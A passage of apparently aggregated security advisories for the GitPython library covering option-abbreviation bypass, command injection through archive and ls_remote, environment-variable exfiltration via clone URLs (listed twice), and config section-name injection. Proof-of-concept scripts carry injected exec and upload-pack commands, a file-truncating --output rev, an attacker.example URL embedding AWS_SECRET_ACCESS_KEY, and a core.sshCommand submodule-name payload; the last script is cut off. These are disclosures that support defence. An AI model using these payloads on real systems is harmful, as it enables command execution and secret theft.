not the abbreviated form. - `allow_unsafe_options=True` opt-out behaves as documented (out of scope). ##### Honest scope note Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats. On the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently — not claiming Critical. ##### Suggested remediation (any one) 1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ `startswith` on the blocked canonical name, after `dashify`). 2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation. 3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist. Remediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67325](https://nvd.nist.gov/vuln/detail/CVE-2026-67325) - [https://github.com/gitpython-developers/GitPython/pull/2161](https://github.com/gitpython-developers/GitPython/pull/2161) - [https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285](https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51) - [https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation](https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation) - [https://pypi.org/project/gitpython](https://pypi.org/project/gitpython) - [https://github.com/advisories/GHSA-2f96-g7mh-g2hx](https://github.com/advisories/GHSA-2f96-g7mh-g2hx) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3836) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()` [CVE-2026-67323](https://nvd.nist.gov/vuln/detail/CVE-2026-67323) / [GHSA-956x-8gvw-wg5v](https://github.com/advisories/GHSA-956x-8gvw-wg5v) / PYSEC-2026-3839 <details> <summary>More information</summary> #### Details ##### Summary GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples ##### Code analysis Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after ##### PoC Released 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here). ``` pip install GitPython # 3.1.50 ``` Common setup for the three: ```python import io, os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a', 'commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) tmp = tempfile.gettempdir() ``` 1. exec via archive (a service exports a repo and forwards the user's options dict): ```python m = os.path.join(tmp, 'gp_archive_check') try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m}) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 2. exec via ls_remote: ```python m = os.path.join(tmp, 'gp_lsremote_check') try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';') except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 3. file clobber via a rev that looks like a ref: ```python v = os.path.join(tmp, 'release_notes.txt') open(v,'w').write('do not delete\n') print('[*] before:', repr(open(v).read())) try: list(repo.iter_commits('--output=' + v)) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] after :', repr(open(v).read()), '<- truncated') ``` ``` [*] before: 'do not delete\n' [*] Cmd('git') failed due to: exit code(129) [+] after : '' <- truncated ``` #### Severity - CVSS Score: 8.4 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67323](https://nvd.nist.gov/vuln/detail/CVE-2026-67323) - [https://github.com/gitpython-developers/GitPython/pull/2163](https://github.com/gitpython-developers/GitPython/pull/2163) - [https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738](https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51) - [https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options](https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options) - [https://pypi.org/project/gitpython](https://pypi.org/project/gitpython) - [https://github.com/advisories/GHSA-956x-8gvw-wg5v](https://github.com/advisories/GHSA-956x-8gvw-wg5v) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3839) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL [CVE-2026-67322](https://nvd.nist.gov/vuln/detail/CVE-2026-67322) / [GHSA-rwj8-pgh3-r573](https://github.com/advisories/GHSA-rwj8-pgh3-r573) / PYSEC-2026-3842 <details> <summary>More information</summary> #### Details ##### Summary `Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument — the documented use case for `clone_from()` in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL. ##### Details **Affected versions:** `gitpython` (PyPI) — all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch. `Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch: `git/cmd.py` (v3.1.50), lines 907–925: ```python @classmethod def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike: """Remove any backslashes from URLs to be written in config files. ... """ if is_cygwin is None: is_cygwin = cls.is_cygwin() if is_cygwin: url = cygpath(url) else: url = os.path.expandvars(url) # <-- line 921 if url.startswith("~"): url = os.path.expanduser(url) url = url.replace("\\\\", "\\").replace("\\", "/") return url ``` `Repo._clone()` — reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` — runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess: `git/repo/base.py` (v3.1.50), lines 1407–1418: ```python if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) if not allow_unsafe_options: Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options) if not allow_unsafe_options and multi: Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options) proc = git.clone( multi, "--", Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone` clone_path, ... ) ``` Because `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as: ``` https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git ``` is rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point. `polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the `clone_from` docstring describes `url` only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", `git/repo/base.py:226–231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL. **Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url="$X"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability. ##### PoC Tested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`. ```bash python3 -m venv /tmp/gp-venv /tmp/gp-venv/bin/pip install gitpython==3.1.50 /tmp/gp-venv/bin/python poc.py ``` `poc.py`: ```python #!/usr/bin/env python3 """ PoC: environment-variable exfiltration via Repo.clone_from() URL. Demonstrates that an attacker-controlled `url` argument to Repo.clone_from() is passed through os.path.expandvars() before being given to `git clone`, so `$NAME` tokens in the URL are replaced with the server process's environment-variable values and transmitted to the attacker-named host. The PoC intercepts the Popen argv to show the exact URL handed to `git` without performing real network I/O. """ import os import sys import subprocess import tempfile ##### Simulate a sensitive server-side environment variable. os.environ["AWS_SECRET_ACCESS_KEY"] = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" import git # noqa: E402 from git import Git, Repo # noqa: E402 print(f"gitpython version: {git.__version__}") ##### --- Layer 1: Git.polish_url() directly -------------------------------------- attacker_url = "https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git" polished = Git.polish_url(attacker_url) print("\n[Layer 1] polish_url result:") print(f" input : {attacker_url}") print(f" output: {polished}") if os.environ["AWS_SECRET_ACCESS_KEY"] in polished: print(" -> secret SUBSTITUTED into URL by polish_url()") ##### --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ---------- captured = {} orig_popen = subprocess.Popen class CapturingPopen(orig_popen): def __init__(self, cmd, *a, **kw): if isinstance(cmd, (list, tuple)) and "clone" in cmd: captured["cmd"] = list(cmd) super().__init__(cmd, *a, **kw) subprocess.Popen = CapturingPopen import git.cmd as gitcmd # noqa: E402 gitcmd.safer_popen = CapturingPopen # non-Windows: safer_popen == Popen dest = tempfile.mkdtemp(prefix="gp_poc_") try: Repo.clone_from(attacker_url, os.path.join(dest, "out")) except Exception as e: # The clone fails (attacker.example does not resolve); we only need argv. print(f"\n[Layer 2] clone_from raised (expected): {type(e).__name__}") subprocess.Popen = orig_popen print("\n[Layer 2] argv passed to `git clone` subprocess:") for tok in captured.get("cmd", []): print(f" {tok}") cmd = captured.get("cmd", []) url_arg = cmd[cmd.index("--") + 1] if "--" in cmd else None print(f"\n[Layer 2] URL argument given to git: {url_arg}") secret = os.environ["AWS_SECRET_ACCESS_KEY"] if url_arg and secret in url_arg: print( "\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated " "into the remote clone URL; git would transmit it to attacker.example." ) sys.exit(0) print("\nNOT VULNERABLE") sys.exit(1) ``` Expected output: ``` gitpython version: 3.1.50 [Layer 1] polish_url result: input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git -> secret SUBSTITUTED into URL by polish_url() [Layer 2] clone_from raised (expected): GitCommandError [Layer 2] argv passed to `git clone` subprocess: git clone -v -- https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git /tmp/gp_poc_XXXXXXXX/out [Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git VULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example. ``` The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path. ##### Impact Any application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact. **Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on `Repo(path, expand_vars=…)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67322](https://nvd.nist.gov/vuln/detail/CVE-2026-67322) - [https://github.com/gitpython-developers/GitPython/pull/2172](https://github.com/gitpython-developers/GitPython/pull/2172) - [https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52) - [https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from](https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-rwj8-pgh3-r573) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL [CVE-2026-67322](https://nvd.nist.gov/vuln/detail/CVE-2026-67322) / [GHSA-rwj8-pgh3-r573](https://github.com/advisories/GHSA-rwj8-pgh3-r573) / PYSEC-2026-3842 <details> <summary>More information</summary> #### Details ##### Summary `Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument — the documented use case for `clone_from()` in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL. ##### Details **Affected versions:** `gitpython` (PyPI) — all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch. `Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch: `git/cmd.py` (v3.1.50), lines 907–925: ```python @classmethod def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike: """Remove any backslashes from URLs to be written in config files. ... """ if is_cygwin is None: is_cygwin = cls.is_cygwin() if is_cygwin: url = cygpath(url) else: url = os.path.expandvars(url) # <-- line 921 if url.startswith("~"): url = os.path.expanduser(url) url = url.replace("\\\\", "\\").replace("\\", "/") return url ``` `Repo._clone()` — reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` — runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess: `git/repo/base.py` (v3.1.50), lines 1407–1418: ```python if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) if not allow_unsafe_options: Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options) if not allow_unsafe_options and multi: Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options) proc = git.clone( multi, "--", Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone` clone_path, ... ) ``` Because `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as: ``` https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git ``` is rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point. `polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the `clone_from` docstring describes `url` only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", `git/repo/base.py:226–231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL. **Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url="$X"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability. ##### PoC Tested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`. ```bash python3 -m venv /tmp/gp-venv /tmp/gp-venv/bin/pip install gitpython==3.1.50 /tmp/gp-venv/bin/python poc.py ``` `poc.py`: ```python #!/usr/bin/env python3 """ PoC: environment-variable exfiltration via Repo.clone_from() URL. Demonstrates that an attacker-controlled `url` argument to Repo.clone_from() is passed through os.path.expandvars() before being given to `git clone`, so `$NAME` tokens in the URL are replaced with the server process's environment-variable values and transmitted to the attacker-named host. The PoC intercepts the Popen argv to show the exact URL handed to `git` without performing real network I/O. """ import os import sys import subprocess import tempfile ##### Simulate a sensitive server-side environment variable. os.environ["AWS_SECRET_ACCESS_KEY"] = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" import git # noqa: E402 from git import Git, Repo # noqa: E402 print(f"gitpython version: {git.__version__}") ##### --- Layer 1: Git.polish_url() directly -------------------------------------- attacker_url = "https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git" polished = Git.polish_url(attacker_url) print("\n[Layer 1] polish_url result:") print(f" input : {attacker_url}") print(f" output: {polished}") if os.environ["AWS_SECRET_ACCESS_KEY"] in polished: print(" -> secret SUBSTITUTED into URL by polish_url()") ##### --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ---------- captured = {} orig_popen = subprocess.Popen class CapturingPopen(orig_popen): def __init__(self, cmd, *a, **kw): if isinstance(cmd, (list, tuple)) and "clone" in cmd: captured["cmd"] = list(cmd) super().__init__(cmd, *a, **kw) subprocess.Popen = CapturingPopen import git.cmd as gitcmd # noqa: E402 gitcmd.safer_popen = CapturingPopen # non-Windows: safer_popen == Popen dest = tempfile.mkdtemp(prefix="gp_poc_") try: Repo.clone_from(attacker_url, os.path.join(dest, "out")) except Exception as e: # The clone fails (attacker.example does not resolve); we only need argv. print(f"\n[Layer 2] clone_from raised (expected): {type(e).__name__}") subprocess.Popen = orig_popen print("\n[Layer 2] argv passed to `git clone` subprocess:") for tok in captured.get("cmd", []): print(f" {tok}") cmd = captured.get("cmd", []) url_arg = cmd[cmd.index("--") + 1] if "--" in cmd else None print(f"\n[Layer 2] URL argument given to git: {url_arg}") secret = os.environ["AWS_SECRET_ACCESS_KEY"] if url_arg and secret in url_arg: print( "\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated " "into the remote clone URL; git would transmit it to attacker.example." ) sys.exit(0) print("\nNOT VULNERABLE") sys.exit(1) ``` Expected output: ``` gitpython version: 3.1.50 [Layer 1] polish_url result: input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git -> secret SUBSTITUTED into URL by polish_url() [Layer 2] clone_from raised (expected): GitCommandError [Layer 2] argv passed to `git clone` subprocess: git clone -v -- https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git /tmp/gp_poc_XXXXXXXX/out [Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git VULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example. ``` The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path. ##### Impact Any application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact. **Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on `Repo(path, expand_vars=…)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67322](https://nvd.nist.gov/vuln/detail/CVE-2026-67322) - [https://github.com/gitpython-developers/GitPython/pull/2172](https://github.com/gitpython-developers/GitPython/pull/2172) - [https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52) - [https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from](https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from) - [https://pypi.org/project/gitpython](https://pypi.org/project/gitpython) - [https://github.com/advisories/GHSA-rwj8-pgh3-r573](https://github.com/advisories/GHSA-rwj8-pgh3-r573) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3842) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE) [CVE-2026-69097](https://nvd.nist.gov/vuln/detail/CVE-2026-69097) / [GHSA-3rp5-jjmw-4wv2](https://github.com/advisories/GHSA-3rp5-jjmw-4wv2) <details> <summary>More information</summary> #### Details ##### Summary In GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ "` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**. This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\n\x00]` guard added for them does not stop a **same-line** section break inside a name. ##### Details The only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL: `git/config.py:75,897-899` (`GitPython 3.1.52`): ```python UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]") ... def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`: `git/config.py:693`: ```python fp.write(("[%s]\n" % name).encode(defenc)) ``` For submodules the name is wrapped as `submodule "<name>"` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named: ``` x"] [core] sshCommand=CMD # ``` therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires. The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`: - `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`. Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard. ##### PoC Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed. ```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git print(f"# GitPython {version('GitPython')}") # version proof -- first line MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"} def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True) ##### A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl) def parent_repo(): p = 